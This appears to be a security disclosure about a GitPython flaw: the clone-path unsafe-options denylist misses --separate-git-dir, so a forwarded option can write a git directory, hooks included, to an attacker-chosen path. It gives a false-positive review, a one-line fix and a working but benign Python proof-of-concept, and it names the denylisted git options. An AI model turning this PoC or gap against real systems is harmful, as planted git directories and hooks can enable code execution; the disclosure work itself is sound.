Details
False-positive check (adversarial re-read)
- Is there a value-level check that would still stop this? No —
check_unsafe_optionsonly inspects option *names* (via_canonicalize_option_name) against the denylist; it performs no filesystem/path validation onseparate_git_dir's value, and no other guard in_clone()touches this kwarg besides theGit.polish_url()normalization (which does not reject arbitrary paths). - Is `--separate-git-dir` perhaps a no-op or safely sandboxed for `clone` specifically (unlike `init`)? No — confirmed empirically: the option reaches the real
gitbinary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path. - Could this be the exact bug already covered by one of the 26 published GHSAs? Checked all 26 entries in
_known-advisories.json(Filter 0):GHSA-9rj7-rf2p-w77rcovers--templateinRepo.init;GHSA-6p8h-3wgx-97gfcovers--templatein clone (already fixed, present inunsafe_git_clone_options);GHSA-hmq2-w58f-27jccovers arbitrary repo creation via unvalidated `.gitmodules` submodule names (a different code path —Submodule, notRepo.clone_from()kwargs). None reference--separate-git-diron the clone path. This is a distinct, currently-unpatched gap. - Does this require an unrealistic precondition? The precondition (host app forwards a kwarg into
clone_from/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template,--upload-pack,--config,--bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry. - Verdict: no concrete blocker found. CONFIRMED.
Remediation
Add "--separate-git-dir" (and its - alias if git ever adds one — currently there is none) to Repo.unsafe_git_clone_options in git/repo/base.py, matching unsafe_git_init_options. Since Repo._clone() already special-cases separate_git_dir for Git.polish_url() normalization, the fix is a one-line addition to the existing list, consistent with how GHSA-6p8h-3wgx-97gf added --template to the same list.
Confidence
High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.
Proof-of-Concept source (gitpython-001-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in
unsafe_git_clone_options, so it reaches `git clone` unguarded and writes a
full git directory (config, hooks/, objects/, refs/, ...) to an
attacker-controlled path OUTSIDE the intended destination directory, with
allow_unsafe_options left at its default of False.
Run against the GitPython source tree under test, e.g.:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir>
Benign: only writes/reads inside the given workdir. No destructive/exfiltrating
payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option
or the write does not escape the destination directory.
"""
import os
import sys
import subprocess
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc"
src = os.path.join(workdir, "src")
dest = os.path.join(workdir, "dest")
sentinel_dir = os.path.join(workdir, "OUTSIDE_SENTINEL")
target_gitdir = os.path.join(sentinel_dir, "redirected.git")
for p in (src, dest, sentinel_dir):
os.makedirs(p, exist_ok=True)
# Minimal benign source repo to clone from.
subprocess.run(["git", "init", "-q", "-b", "main", src], check=True)
subprocess.run(["git", "-C", src, "config", "user.email", "[email protected]"], check=True)
subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True)
with open(os.path.join(src, "file.txt"), "w") as f:
f.write("hello\n")
subprocess.run(["git", "-C", src, "add", "file.txt"], check=True)
subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
print("unsafe_git_clone_options =", git.Repo.unsafe_git_clone_options)
assert "--separate-git-dir" not in git.Repo.unsafe_git_clone_options, (
"guard now includes --separate-git-dir; PoC no longer applicable, target patched"
)
try:
repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)
except git.exc.UnsafeOptionError as e:
print("NOT VULNERABLE: blocked by UnsafeOptionError:", e)
sys.exit(1)
wrote_outside = os.path.isdir(os.path.join(target_gitdir, "hooks")) and os.path.isfile(
os.path.join(target_gitdir, "config")
)
gitlink_points_outside = False
with open(os.path.join(dest, ".git")) as f:
gitlink = f.read().strip()
gitlink_points_outside = target_gitdir in gitlink
print("repo.git_dir =", repo.git_dir)
print("wrote git directory outside dest (sentinel) =", wrote_outside)
print("dest/.git gitlink points outside dest =", gitlink_points_outside)
if wrote_outside and gitlink_points_outside:
print("VULNERABLE: git directory created at attacker-controlled path "
f"outside the clone destination: {target_gitdir}")
sys.exit(0)
else:
print("NOT VULNERABLE: sentinel not observed")
sys.exit(1)
if __name__ == "__main__":
main()